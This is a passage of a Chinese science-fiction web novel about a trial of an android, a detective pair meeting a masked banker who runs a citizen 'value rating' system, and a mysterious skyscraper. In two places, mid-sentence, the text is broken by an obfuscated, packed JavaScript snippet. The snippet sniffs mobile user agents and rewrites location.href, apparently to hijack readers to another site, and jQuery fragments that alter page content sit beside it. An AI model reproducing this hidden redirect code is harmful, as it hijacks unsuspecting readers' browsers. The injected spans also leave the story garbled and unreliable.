“我不知道!他们有自己的一套算法。反正,我也不知道。但你也看到了。我没有去自杀,也没有哭丧什么的。降低了就降低了。以前也有人看不起我,现在也没有多几个。我不在乎这档事。虽然收入降了,生活成本反而高了……但一个时代有一个时代的问题。人就应该在任何时候都坚强地活着。” 曹文道这样子反而让周向青有点佩服。她觉得自己刚才可能有点过分。 “所以,你觉得这个价值评级到底是哪里不好呢?” “你要说具体的,我也不知道。毕竟我不知道评级的细节,我不知道他们到底用了什么计算公式,还是收集了什么消息。但从一个普通人的角度来想,这个复合体有那么多人在,那么多人!我记得上次统计的人口是4亿。他们要有什么样的方法来计算每一个人的价值?而且只有三七二十一个普通等级,以及那些极少数的什么SSR,SSSR。把八亿人按这么草率的方式划分,那得有多少错误?真的不是我说,我恐怕自动化大崩溃之前的那一代人,都没办法把每一个人的价值划分得这么清楚。它只是一个设计得非常简陋的系统,不像法律那么公正、绝对、权威。价值评级根本没有价值。” 如果要评级,就必然要收集数据,这点的确无法否认。这里并不是一个支持旧日技术的地方,至少是没有足够的算力支持这种做法。但审判某种程度上说,也是一样的。 周向青耸了耸肩,道:“可我觉得它跟你说的审判倒是没什么区别呢。都是基于某个标准去给人下定性罢了。你不认同别人给你的价值评级,我也不认同你们对我的审判,都一样。” “都一样?”曹文道瞪大了眼睛。周向青从他的视线中感受到了那种怒火。但他的语言还来不及从口中汹涌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17235499|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喷出,刺耳的铃声倒是抢先响了起来。 曹文道只得暂时压住怒气,接起听筒。 他听到对方的声音,马上眯缝起眼睛,弯着腰,不断点头。“是。是。是。我明白了。我会在那之前准备好。” 曹文道答应了十几声后,挂掉电话,对周向青道:“来的真是时候。开庭的时间决定了。” “审判的时间吗?” “对。三天后。半公开审理。全程直播。到时候你尽可以表达你‘不认同’的理念。随便你。” 周向青点点头。“所以你到时候就用这种态度,来保障我的权利。” “哼!你现在害怕了?” “没有。我只是好奇,你到时候准备说些什么。我听说,他们希望证明我不能和活化机械连接,或者希望我自己否认。但你对此又到底知道什么呢?你们拿我做过测试吗?你有测试结果的相关报告吗?到时候他们让你证明,我到底可以还是不可以跟活化机械相连接,你到底打算说什么?还是说,他们给了你一些东西,你只要到时候照着念就可以了?嗯,如果他们要直播的话,大概也还是要我发言的吧。他们有没有给我开条件?” 曹文道的嘴唇颤抖起来。他咬住嘴唇,但同样颤抖的还有他的手指。他握不紧笔杆,更没有办法继续写字,便把那支笔重重摔在桌上。 他自己生了一会气,最后恼怒地说:“你听谁说的?你在做梦!” “所以他们没有这个意思?”周向青反问。 曹文道没有正面回答。“他们希望你能够实话实说。毕竟上次登记的时候,你说‘我不知道,我仍然是我’。所以至少你自己认为,你并没有什么变化。这说明你很可能跟那个什么圣女草没有发生交互。” “哦。有的。有的。自那以后,我可以控制圣女草的管道以及纤维了。虽然我自己还没有好好实验过能做到什么程度。”周向青说。 “……你、你上次怎么不说?”曹文道怒道。 “我——上次跟你还不熟,不知道是不是要把所有的东西告诉你。”周向青道。既然柳怀石让她承认这个,那她可以先跟曹文道承认一下试试。 这一口气,曹文道憋在胸口半天,好不容易才吐了出来。“好吧。算是我的不对。我会重新整理一下报告和辩词的。如果你还有什么事情没告诉我,最好现在说。免得三天后来不及。” “我知道了。” ### 周向青在柳怀石复查右肩的接口时,跟他讲了自己在曹文道那里的事情。 “所以你想让他们也给你提个条件?”柳怀石问。 “不是。我只是在想,他们到底想从我这里得到什么呢?曹文道虽然一直问这问那,但我感觉他并不知道自己到底在干什么。那个什么委员会应该并没有跟他解释这场审判的目的,而且他也并不在乎。” “我们所有人都是这样。这个世界是一个庞大的方程组,而又谁能够掌握那么多的变量呢?我们现在还没有搞明白自动化大崩溃的原因,也没多少人想继续追究了。人如果能活着,就没有去想那些复杂事情的动力。也正因此,才需要少数人给多数人敲响警钟。”柳怀石说到这里,从周向青身上拆下检测探头,然后看了看屏幕。“嗯,至少探伤是没什么问题的。强度在计算上也足够。你就放心吧。” “谢谢。”周向青把风衣重新披上。 “总之,如果他们把审判放在三天后,大概是在谈判中并没有达成一致。宣布审判时间是在施加压力。但不管怎么说,他们肯定会在最后一刻跟你联系,给你开出一个条件。你答应就好,到时候我们再定计划。” 周向青点了点头。 她突然感觉这一幕有点熟悉。这就像是卡比利亚那一夜,大主讲在地下博物馆中跟她聊了几句天,然后她就感到,自己确实属于卡比利亚,卡比利亚对她来说是一个特殊的地方,她也确实应当为了他们而战斗。她并不怀疑居住在那座城市的人是感谢她的……但其它人呢? 其他人眼下想必正在跟米卡谈判,讨论关于她的事情。 周向青看了看自己的手臂。 至少这一次她算是先得到了一些东西。 70.雾气弥漫的城市10 看到姜原和白少俊从外面回来,关铁震从一大堆旧报纸中抬起了头。“我刚才从老马家里把这些旧报纸搬了过来,算是找到了不少东西。” “什么东西?” “你不是说,要我们在这些报道中找共同点吗?然后我跟小郑整理了一下我们现在有的报纸,然后发现没有捉到凶手的有127人,认为是自杀的有32人。” 关铁震拍了拍被分成几摞的报纸堆。“然后我们一篇一篇看了一下相关的报道,发现——” 郑小楼接茬道:“发现这些人没有一个是死在自己家里的。当然,我们去掉了几个似乎非常确定是自杀的人。一个在浴缸里割腕的,两个上吊的,还有四个喝了药的。”郑小楼说。“自杀的案件中,大概有一半左右,11个都是在工作场所。那些没有捉到凶手的案件,基本都是死在工作场所。” “当然,也有十几个例外。都是斗殴、抢劫之类,似乎与我们的目标无关。”关铁震说。 “而且,这些有共同点的案子里,都没有人看到可疑的对象。也怪这段时间的雾实在是太浓了,到了晚上更浓。简直就像是有妖怪作祟一样。专门在雾里杀人的妖怪。” 郑小楼刚这么一说,关铁震便瞪圆了眼睛。“哪里有什么妖怪?才没有妖怪!” “总之,就大概是这么回事。除此之外,倒是也不知道有什么共通点了。什么死法都有。” 姜原点了点头。“嗯。不错。”然后他想起出门前马延仙的话,又赶忙道:“关老大,我们这边也有收获。那三个工人都整整齐齐地死在码头办公室门口,而白兄说,他们按道理是不会去码头办公室的。所以我在想——对方可能是通过某种方式把他们诱骗过去,然后同时杀死了他们三个人。邹敏宏的案子的奇怪之处也就在这里。他没有选择在安提赛的总部自杀,却要跑到这个地方。如果他是准备在自己开始的地方结束自己,感觉上他更应该选择跳楼以外的方式,并且多在屋里待一段时间,翻翻旧东西之类的。” “所以你的看法是?” “所以,你们在查阅那些报道的时候,有没有提到类似的事情?就是死亡的场景稍稍——有点特殊的那种感觉?当然,并不是说特别惹眼的那种特殊,而是乍一看感觉没什么问题,但细想一下比较特殊那种?” 关铁震和郑小楼对视了一眼。关铁震摇了摇头。 郑小楼说:“我记得我看过几个有点意思的。有个医生死在走廊末端监护病房的洗手间里。他们说那个洗手间基本就是给重症患者和陪护家属用的,所以医生们从来不去那个洗手间。而且好像也的确没有说有殴打强迫或移动的痕迹。那好像是10号的报纸。还有一个是游乐园的管理员,死在摩天轮最上面的轿厢里,所以肯定是有人在杀了他后把他停在那个位置。这应该是16号的。还有——” “你怎么找到这么多的?”关铁震问。 “人家小郑可比你聪明多啦。”马延仙的声音从房间的另一侧传过来。他正在独自修改账本,把损失都归在王西凤的名下。但他一边对账,耳朵倒是一直在听他们说话。 “那我们再查一下你看过的。看看还有没有。”白少俊说。 几个人把关铁震面前的报纸重新分了分。 “果然,你看这个。一个私立学校的老师在下班以后,跑到学校后山旧校舍的办公室自杀,留下了遗书。但他居然去的是他负责年级的□□办公室。”白少俊只用了几分钟就找到了一条。 “我也找到了一个,”关铁震指着其中一条报道,“你们看,化工厂的车间主任在点火试车前,自己从人孔钻进了锅炉里,然后烧得尸骨无存。” “感觉其它人的都不如你的。”姜原笑道。“行吧。我觉得可以把这些收集一下,拟一个单子。我感觉可以去找那个易谦明了。” “只这样就行了?你准备跟他说什么?” “我们没那么多时间。这些材料大概够让我说服他,我们已经找出了一些共性,让他给我们一个委托,然后稳住你们的评级。” 姜原和关铁震来到人才贸易银行的时候,已近中午。 只有他们两个来是姜原的主意。他告诉关铁震,带太多人并不方便谈判,反而可能会让对方感觉到压力。虽然事实也是如此,但他这么说主要是为了能找机会跟易谦明单独谈一谈世界政府文档的事情。 易谦明作为偌大银行的主人,想要见一面必然并不容易。而他们并没有联系到易谦明本人的渠道。姜原的打算就是先走常规渠道,通过对方的助理或者秘书预约一个时间,如果不行再采用非常规手端。 虽然眼下已到饭点,但仍然有一大群人聚在公告板前,喊得热火朝天。还有不少人举着一条红色的横幅,横幅上写着“严惩操纵行为,赔偿投资损失”。 “怎么回事?”关铁震问。 人群的喊叫声为这个问题提供了回答。 “易谦明!你在操纵人才贸易!几大公司都提前撤出了投资安提赛的资金,凭什么让我们中小投资者承担损失?”人们七嘴八舌地喊道。 而被这些愤怒的投资者包围的,是这里的值班经理。“大公司的撤资与我们无关!而且他们撤资也是缴纳了罚金的!我们免除你们的赔偿就已经是——” “哈?你还好意思要赔偿?” “什么叫免除赔偿,你们今天已经偷偷从我账户上划走了几个人了!你们当我不知道吗?” 无数只手抓向值班经理的衣服,像是想要从他身上扯下一块肉来。大堂经理挣扎着辩解道:“因为您是将这两位人才用于债务偿还,而不是收益提取,而如今安提赛的雇员身价正在剧烈波动……” “我不管!是你们说回报率很高我们才买的!是你们说的!你叫上次那个女的来!” “问题是,价值评级在同一档,只是投资的回报率近似,但实际上风险是不同的!佣兵行业属于高风险行业,出现这样的波动属于正常范围,如果你们想稳定可以买入实业型的人才啊——”值班经理拼命解释。豆大的汗水从他的脑门上流了下来。 “我不管那些复杂的事情!我们损失了!凭什么他们脱身,我们负责?叫你们的负责人出来!” “可是……” 这是机会。 姜原看了看关铁震。关铁震还没有意识到眼前的事情意味着什么。 姜原拉着关铁震挤进人群。 “大家听我说!大家听我说!现在我们有理由怀疑,安提赛总裁邹敏宏死亡一事,背后还有别的因素!我们正在调查这件事。如果有了证据,我们将向相关方面索赔!到时候大家的损失我们也会追回来!请大家不要激动!你们的财产是安全的!” 人们一时没反应过来,声音渐渐低了下去。姜原挤到值班经理旁边,扶住他的肩膀。值班经理被刚才汹涌的人潮吓得够呛,看到有人来救他,急忙帮腔道:“是这样的!大家的财产是安全的!” “你他妈是谁呀!”人群中有人叫道。 “我是易老板雇来,负责调查这个案子的侦探!”姜原大声吼了回去。他声音中的自信让对方没有继续质疑。“总之,现在我们正在调查!你们不要急!很快就会有结果的!” “很快是多快?” “就是最近!三天!”姜原毫不犹豫地喊道。 人群议论纷纷。姜原趁着他们失去协同性的瞬间,架着值班经理挤出人群,向银行里面走去。 “你们……真的是易老板雇来的?”值班经理问。 “哈哈,现在还不是,但他应该会雇我们。”姜原答道。 “啊?那你们……那你们到底是干嘛的?你们刚才那么说……你们那么说——”值班经理大惊失色。 “我们是鼎鼎大名的四大恶人,你就放心吧。”关铁震呲着牙微笑着,向值班经理晃了晃自己的大金链子。 值班经理两眼一翻,晕了过去。 “喂!你别晕啊。我们还指望你给我们介绍介绍呢!”姜原急忙去掐那人的人中。 一个穿着燕尾服的老人却不知从哪里钻了出来。他一挥手,另有两个人一边一个架过值班经理,飞快离开了。 “你们两个跟我来,易先生想见你们。” 电梯飞速上升。 关铁震趴在电梯的玻璃壁上,看着脚下如蝼蚁般的人群。 “噢噢噢噢——!真的很壮观嘛!”他惊叹道。 “你是什么人?易老板的秘书?”姜原问。 “是管家。我叫阿福。”老人答道。 “管家,”姜原点着头,“那你不是银行的人,是易谦明个人雇佣的——” “对。” “嗯。但易老板怎么知道我们在下面的?值班经理那个样子,大概也没给我们通报吧。你说的好像他一直在看我们一样。” “哦——易先生知道很多事情。这里的事他全都知道。”老人慢慢点着头。 就这样?姜原并没有问出口。易谦明通过摄像头一直看完了刚才的事情?如果是真的,那这个易谦明可真是恶趣味。感觉不太可能。 电梯在70层停下了。 一间很大的餐厅,只有一位食客。 这个客人头上戴着一个绿色的青蛙头套,青蛙的嘴倒扣在盘子上,两只人类的手不断把盘子里的东西送进青蛙的血盆大口中。 就连关铁震在看到这一幕后,都没能说出一句话。 “难道这位就是——”姜原问道。 “他们来了。”阿福对正在狼吞虎咽的青蛙说。 “嗯。你去吧。”青蛙说。他的声音既沉且闷,细听还有嗡嗡的回音。姜原知道那是变声器。 一个连吃饭的时候都要戴着头套和变声器的家伙。 这应该说……是注重保护隐私吗?这未免太怪异了。不过,他可是窃取别人的信息用于价值评级的人。说不定他也是基于同样的逻辑,不愿意自己的信息被别人知道。 在面对这么一个“什么都知道”的人的时候,他要采取什么样的策略才好? 姜原突然感觉,自己的准备都是没有意义的无用功。他对自己的对手,了解实在太少。 但他也必须试试。 “您好,易先生,”姜原说,“我是来跟您谈谈最近这一系列杀人案件的。” “你讲吧。我正忙着用餐。只要我没打断你,你就继续说下去。”易谦明在说这几句话时稍稍抬起了头。姜原看到,青蛙嘴里的红色原来是垂下的帘幕,就算在易谦明抬头的时候,也能挡住他的脸。 这是不是有点过了? “是这样的。我们注意到最近一个多月,都有连续的死亡事件上报道,人们也因此有些惊慌失措,并因此产生了不少流言蜚语。有的人认为,这是特别针对价值评级降低人们的暗杀,他们穿上风衣、戴上帽子,晚上不再出门,希望能够通过这样的行为避免自己被盯上。但实际上,这样似乎并没有什么效果,死亡仍然在继续。不少人也因此把敌视转移到了价值评级系统上面。刚才外面的事件,或许只是一件小事,但千里之堤溃于蚁穴,这种事情也的确会动摇大家对于价值评级的信心。” 姜原在说话的时候,完全看不到对方的表情。那只青蛙仍然在有条不紊地把食物塞进口中,动作连一秒钟都没有停。 “据我所知,最近申请上市的人是有所减少吧。当然,您可能认为这只是一件小事,不会影响价值评级的未来。但有的时候一点小事也会掀起波澜。而且,在如此短的时间内就出现如此多的命案,很难不令人怀疑,是一个与您价值评级向对立的组织在背后操纵,这样的话,将来的演变可能并不会仅仅是死几个人而已。这种恶意的攻击是指向您的事业的。而且他们可能已经进入到您的人才贸易银行内部,接触到了价值评级数据。” 青蛙吃饭的动作仍旧没有任何变化。姜原不清楚自己的说辞是否引起了对方的注意,但此时他也必须抛出一点东西了。 “而我们最近也比较关注这件事的发展。我们收集了一下目前公开的情报,并且进行分析,注意到这类疑似为某组织所为的杀人事件均有一些共同的特征,比如最近的邹敏宏案,与码头工人案,等等。但比较遗憾的是,我们目前无法接触到铸造局所掌握的,这些案件的具体证据。我认为,如果您能够提供更多的信息资源的话,我们很快就能锁定对方究竟是何方神圣。” 青蛙的动作停了一下。但还是没有说话。 “这是我们认为目前新闻报道过的,所有案件中,极有可能是这个组织所为的一些案件。它们都有共同的特征。如果易先生您愿意雇佣我们,您以及价值评级的声誉就能够马上洗清。”姜原把他们事先准备的那张纸摊开,放在桌上,推了过去。他恨死这个青蛙头套了。 青蛙的眼睛翻了一下。“你说的这个共同特征,是什么?” 对方这句迟来的回应,让姜原终于松了一口气。 “凶手能够一定程度上掌控他们。这些人在死亡前,全部主动离开了自己平时的活动区域,进入到一个跟他们的工作场所相关,却又不相关的地方。现场没有使用武力的痕迹。所以我觉得,凶手更有可能是诱骗或胁迫他们自行前往预定地点,然后予以处决。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17238463|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “所以你对凶手是谁,有什么想法吗?” 姜原并不想猜。 如果猜得越具体,错误的可能性就越高。但如果不猜,他也没有什么别的能甩出来的牌了。“进一步猜测的话,能够诱骗或胁迫这些相互之间没什么关联,行业、地位、年龄、履历又各自不同的人,我觉得这个组织可能跟铸造局有一定的关系。他们能够接触到市民的个人信息,外加铸造局对待此事又过于懈怠疏忽,所以我觉得他们应该在铸造局安插了人。” 在说到“铸造局”三个字的时候,他知道自己完了。 他猜错了。 因为青蛙又低下头,吃起盘子里的东西。 “当然,也有可能他们与铸造局无关……”姜原强行说道。他开始渐渐不知道自己在说什么,只是把自己如果梳理这些案件的思维复述了一遍,时不时提两局具体的案情细节。不过大概已经没有办法了。他应该开始为下一步的计划做准备。但是这种失败实在是超过了他的任何预期。 他怎么能想到自己需要面对这样一个怪胎?戴着青蛙头套,这他还怎么看清对方的表情?怎么跟据对方的情绪变化考虑接下来的应对?而且这只青蛙还在一直吃!戴着那个大头套吃东西真的没问题吗? 这些杂乱的思绪只是把他嘴里说出来的话搞得更乱,而易谦明似乎也失去了耐心。 “行了。你说的或许有道理,但仍然缺少决定性的证据。单凭你的话,我看不出这些案件之间有什么联系。”青蛙把餐巾伸进红色的大嘴里,擦了一会,掏出来放在桌上。 真是一幅极为怪异的画面。 姜原是真的想不透这个易谦明到底是怎样一个人。他还从来没遇到过这样的人。而关铁震看到这一幕,惊得长大了嘴巴,更是早就忘了他来这里的目的。 大概今天只能就此结束了。 阿福也不知道从哪冒了出来,直挺挺地站在姜原身后,似乎正等着他们起身离开。 “刚才你们上来的时候,阿福有没有告诉你,我什么都知道?”就在姜原已经准备起身的时候,易谦明突然开口说道。 “是。有这回事。” “所以,你不相信?”易谦明问。 “我……以为那是一句夸张的话。”姜原答道。 “当然,的确也是有点夸张了。但我知道,你两年前来过这里,而且还开了一个账户。我也知道,你昨天晚上刚在码头上岸,今天就能来找我说出这么一大堆话,也算是有点本事。但我还知道,你刚才没说实话。而这一点,会影响我对你的评级。”易谦明说。 他真的做过调查。 姜原有点动摇了。难道他在整个城市里都设置了探子和摄像头?但那也不可能监控所有的东西。这得是多高的成本啊。 姜原考虑了一下自己说谎的后果。“我是来找圣女的。”他答道。 “嗯。还有呢?” 他当然不相信有人能够什么都知道。但问题是,易谦明到底知道什么?或许周向青跟他说了不少东西,也或许是易谦明自己事先就有调查。不管他到底是怎么做到的,一个掌握复合体价值评级系统的人,当然有很恐怖的信息收集能力。 但他不能那么坦白。坦白是他支付不起的代价。 “我其实就是想跟她见一面,然后问问她,在卡比利亚,圣女草绽开那天,她跟我提过的那个问题现在有没有答案。” 这也不全是说谎。 “嗯。还有呢?” “还有,那个问题如果有答案的话,我可能需要您帮忙。” “嗯。”青蛙微微点头。“看来你是真的不习惯说实话啊。” 他知道了? 还是不知道? 这是诈术吗? “我——”姜原开口想要再说些什么,但易谦明打断了他的话。 “你要找的人今天不在这里。她早上直接出去了。如果你想跟她见面的话,可能要等一段时间。” 不知什么时候,阿福从姜原背后消失了。这或许是一个他可以多留一会的信号。姜原总算是长出了一口气。难道这些人都是一个样子吗?搞出一副“天威难测”的模样? “谢谢。”他说。 “我建议你们去把那个什么,‘四大恶人’,登记成私人调查服务公司——最好是换一个名字——然后我可以给你们下一个委托,这样你们就能拿到查看铸造局证物的权利。”易谦明说到这里,停顿片刻,又道:“但我先得问你一个问题。卡比利亚那天早上,圣女草开花的那幅景象,你作何理解?” 易谦明真的知道他是从哪里来的?他是怎么知道的?但更关键的是,这个问题是什么意思?他应该往哪个方向回答? 他没有多少时间思考。 “我认为,那的确说明周向青具有一定程度控制活化机械的能力。我推测,这种能力很可能来源于仿生人的植物神经程序,她可以产生基于同一底层逻辑,却足以覆盖活化机械自身信号的指令——” “好了。”易谦明打断了姜原的话。“等你们重新登记完再来找我。下电梯的时候,去拿一张名片。可以用那个直接上来。” 姜原终于脱离了这个神秘的体验。 “到底怎么回事?我还以为咱们肯定没戏了。”在乘电梯下去的时候,关铁震问道。 “我也不知道。”姜原回答。“他有他自己的想法吧。” 不知道究竟是什么缘故,他们莫名其妙得到了想要的结局。 “不过至少我们的评级是不会掉了,居然抱上了这么粗的一条大腿。真是想不到。真是想不到。”关铁震神经性地笑了几声,然后又哇哈哈地大笑起来。 “也别太得意了。事情肯定不会那么简单。” “人贸银行欸,兄弟!人贸银行欸!你是外地人,想象不到这对我们来说是什么概念。那么多人,梦寐以求,磕破脑袋也想进来的地方——” “我的确想象不到。”姜原回答。他的脑子里还在走别的事情。他算是履行了一半跟关铁震的约定。接下来就是利用这层关系,什么时候跟易谦明单独谈谈——单独谈谈?他真的能跟那种家伙单独谈成吗? 这份文档大概还不能就这么交出去。 不。不对。如果易谦明真的“什么都知道”,那他是不是也应该知道文档的事情?想到这一点,姜原心里突然多了几分警惕。 他应该继续寻求合作吗? 姜原就这样一路想着事情,走下银行的台阶。 他并没有看到柳怀石的车正在侧面停下,而周向青正从中钻了出来。 71.雾气弥漫的城市11 周向青从柳怀石的车中钻出时,一阵小小的旋风吹起她风衣的衣领,遮在她的脸上。 她把衣领重新翻下去,不经意地顺着风的方向看了一眼。 按这个城市的天气,她本不该看到那百层高楼的楼顶,但此时她偏偏看到了。 风卷着雾气,涌入人才贸易银行那犹如蜂蛹的大楼上段,如鱼鳃一般掀起的一层层叶板。稍后一股浓重的雾气从大楼的顶端喷射出来,让上半栋楼重新隐入浓雾之中,变成了平时的样子。 “那是什么情况?”她惊问道。 柳怀石从车里探出半个身子。“什么情况?”周向青把自己刚才看到的东西描述了一遍。“大概是通风措施吧。” “通风措施?我感觉不太像。”周向青重新望向上方,但什么都看不到。 “应该就是通风措施。你见过发电厂的晾水塔吗?就是那种很粗很矮的烟囱,冒着白白的雾气的那种?” “没见过。” “好吧。总之,就是一种散热的方式。发电厂把热水送到塔上,让水蒸气把热量一起带走。而水蒸气遇冷凝结成雾,所以看起来跟冒烟差不多。所以它那上面大概是水冷系统的换热板。我猜是银行的机房和空调系统。话说,你们仿生人不应该很清楚这些东西吗?该不会是太仿生了,连人类的愚蠢一起模仿了吧?”柳怀石嘎嘎地笑了起来。 “用不着你管。”周向青恼道。她倒宁可自己是那种什么都知道,但跟人类看起来完全不像的机器人。 奇怪。她什么时候见过这种机器人来着? “好吧。总之我最后提醒你一次,别忘了约好的事情。再过三天就是审判,我会给你找找你这一型的仿生人机体,所以——” “知道,我会配合你的。” 柳怀石点了点头,钻进小车开走了。 而周向青背起装着自己那支右臂的旅行包,向银行大楼走去。 她完美地跟姜原擦肩而过。 周向青想找易谦明问问自己刚才看到的情况。因为她实在是没有易谦明与“那个人”,马德兰之间有何联系的线索。现在看到任何一个小线头,她觉得都值得拉一拉,拽一拽。 但70层的餐厅里只有阿福在那里收拾易谦明留下的杯盘碗盏。 周向青问:“你居然还干这种活吗?我还以为这都是交给别人去做的。” “这里只有我和他两个。”阿福答道。 “这么大的地方,只有你和他两个?”周向青有点吃惊。“这五十层楼,只有你们两个?” “只有我和他两个。”阿福重复道。 好吧。可能其他人只是向她自己这样偶尔来帮个忙,并不在阿福的考虑范围内。这五十层高的大楼只属于易谦明和阿福一主一仆。不过如果这样的话,那阿福也很可能知道自己看到的情况是怎么回事。 周向青跟阿福描述了一下自己看到的情况。 “那是这栋大楼的呼吸系统,一个类似中央空调似的东西,是给这里的机房散热的。”阿福说。 “给机房散热?我感觉我刚才都看到楼顶了,光散热会这样吗。”周向青倒是没想到,这个老人居然说出跟柳怀石一样的答案。 “雾这么大,你看不到楼顶的。”阿福说完,便端着杯盘离开了,消失在餐厅的远端。 周向青总感觉自己看到的并不太像是三十多层的东西。当然,三十多层已经很高了,有一百多米。这栋楼大概是四百米高。而她看到的情况,可不是仅仅是在一百米高的位置有五六层的窗口打开,而是近乎一半的窗口全部打开。 如果那时她就在楼内,是不是应该感到呜呜的风声? 但现在她听不到任何的声音。 周向青走到窗边,向外看去。下面高高低低的楼宇,加上一粒粒黑点状的行人,真的就是易谦明总挂在嘴边上的蚁群模样。 难怪他对蚂蚁如此痴迷。对于蚂蚁来说,那个玻璃柜中挖掘出的大大小小的洞窟,就是它们的高楼大厦吧。 不对。 ——雾这么大,你看不到楼顶的。 那她为什么能看得到下面? 周向青重新揉了揉眼睛。没错。下面的房屋、树木、人影车影,全都清晰可辨。她凑到“窗”前,伸手按了按。 那是一个个拟真显示屏,共同模拟了外面的景色。 没想到在一个严格限制算力和自动化的地方,易谦明居然能搞来这种东西。 但更重要的是——如果她面前的这些并不是真正的窗户,那么真的窗户在哪里?她把耳朵贴上屏幕,但什么都听不到。 周向青决定要继续昨天的探险。易谦明一定在这栋大楼里藏了什么东西。而那东西,一定就是“那个人”给她安排的答案。虽然没有证据,但她就是这么感觉的。 只不过,继续往上的楼层,跟她在六十多层看到的东西差不多。 运动用品专层、游泳池、健身房、运动场。 洗浴城、电影院、游戏厅、KTV、图书馆、美术展览厅、会议室。 这里竟然还有会议室。 只有两个人的地方,居然有会议室? 周向青简直无话可说。 而且,那些乱七八糟的楼层也根本看不到一个人。她之前还把手伸进游泳池里划了划水。那水居然是真实的,而不是显示屏或是虚拟影像。她有点无法想象易谦明戴着他那形形色色的头套,在这个水池中游泳的场面。 这些楼层,除了易谦明的蚂蚁以外,根本不像是精心设计的结果,而只是随随便便,为了凑数而搭建起来的地方。 只不过,周向青一直都找不到对方藏匿的东西。 她回到电梯边,按下按钮。电梯嗡嗡地从楼上下来,打开了门。 “哟,你好啊。”易谦明在电梯里跟她打招呼。他现在戴着一个海豚模样的头套,有长长的吻部和高高的背鳍。 他居然是从高层下来的。他去了哪一层? 周向青猜不到这个问题的答案。 易谦明让开一步,等着她走进电梯。她不好拒绝,便走了进去。 “你准备去哪一层?” “我回房间去。”周向青下意识地回答。反正这么说不会有错。 “那就是61咯。”易谦明按下了按钮。电梯门关上,将他们送往黑暗之中。 “你这是在探险吗?”在电梯下降的时候,易谦明又问。 “呃,算是吧。我还是第一次来这么高的大楼。只不过,我听阿福说,这里只有你们两个人,是真的吗?没有其它工作人员?” “对。50层以上,只有我和他。当然,如果有人想见我,也会来上面。偶尔有人在这里停留一两天,就像你一样。但他们不算是‘这里的人’。” “我想也是。”周向青道。 易谦明似乎有话要说。“刚才我听阿福说,你对我们机房有点兴趣?” “啊,是。我在外面看到空中的雾气被吹开了,所以在想到底是什么缘故。然后阿福说,那是给机房散热的呼吸系统。”周向青答道。 她偷眼去看易谦明的脸,但那蓝灰色的海豚面具上,出了和善的傻笑以外,什么都没有。他们到底是怎么沟通的?怎么这么快就能知道? “哦——原来如此。是,那是我设计的呼吸系统。它不是中央空调,却比中央空调的换气效率要高得多。”易谦明说。 周向青没有回答。换气?他要那么高的换气效率干什么? 叮的一声,电梯门打开了。周向青刚要出去,易谦明却抢上一步,挡在她身前,按下了关门键。然后他对着惊讶的周向青说:“我正要去楼下办点事。顺便带你去机房看看吧。” “但我并不想——” “我陪你去看看。正好我要去开个会。楼下的人说,有事需要我亲自处理。”易谦明说。 电梯门关上了。过不多时,电梯冲破了黑暗与光明的交界,进入到50层以下的区域。 “话说。审判已经近了吧?”易谦明突然问道。 “啊,是的。三天之后。” “你昨天和今天一直在外面来来回回的跑,我都没多少时间跟你说话。我听他们说,董事会争取的焦点,就是让你否认你可以跟活化机器连接。哼,非常典型的米卡要求。” “我不太清楚。他们还没有直接跟我接触。” “哦,会接触的。他们会跟你接触的。但他们不会特意跟你接触。他们就像鲸鱼一样,慢慢的在海里游动,饿了的时候张嘴一吸,把面前的小鱼小虾全都吞下肚去。当他们冲着你张开嘴巴的时候,你就会感受到那种‘接触’了。” “你这么说,让我都有点害怕了。” “啊?其实也没什么好怕的。董事会里都是一些比我大几十岁的老头子。我跟他们说话的时候,总担心他们一口气上不来憋死——总之,他们为人算不上有什么恶意。真正可怕的是他们所代表的那个庞大、臃肿,就像鲸鱼一样的机构。如果你在它行进的道路上,那么多半要被撞得粉碎。话说,你见过鲸鱼吗?”易谦明问出这个问题后,很快又摆了摆手。“抱歉,你当然见过鲸鱼。你是从环运城来的。所以你应该知道我的意思。” “但在我们那边,鲸鱼并不可怕。它反而是工作的象征。如果没有鲸鱼,我们也就没办法挖到埋在底层的电子废料了。可以说,如果没有鲸鱼,也就没有环运城的那种生活。我们大家都是靠那条鲸鱼活着的。”周向青说。 “好吧。那看来是我比喻用错了。人类和活化机械奇怪的共生——说起这个,统修会那边倒也是一直在利用圣女草,只不过是用于军事领域。他们的骑士不是还装了那个什么玩意,铁臂?也是够可以的。” 周向青顺口问道:“你们复合体这边,有什么活化机械吗?” “复合体严禁对活化机械开发和利用。”易谦明回答。 周向青点了点头,但易谦明的话让她想起了卡比利亚那场战斗。“但是,你们在卡比利亚空投进攻,不就利用了活化机械?能够直接把圣女草吸过去,然后变成一个很巨大的机器人。说回来,那机器人还是由人操控的呢。而你们反倒要我否认我可以跟活化机械连接。你们明明就也可以。” “我们这里也禁止仿生人,但你还不是明明就站在这里。”易谦明在面具下笑了笑。“不过我也听说了那次行动。只不过,他们用的并不是复合体自己的技术。他们最近在跟学院合作,悄没声息地签了一些协议。我挺担心这种关系。” “为什么?” 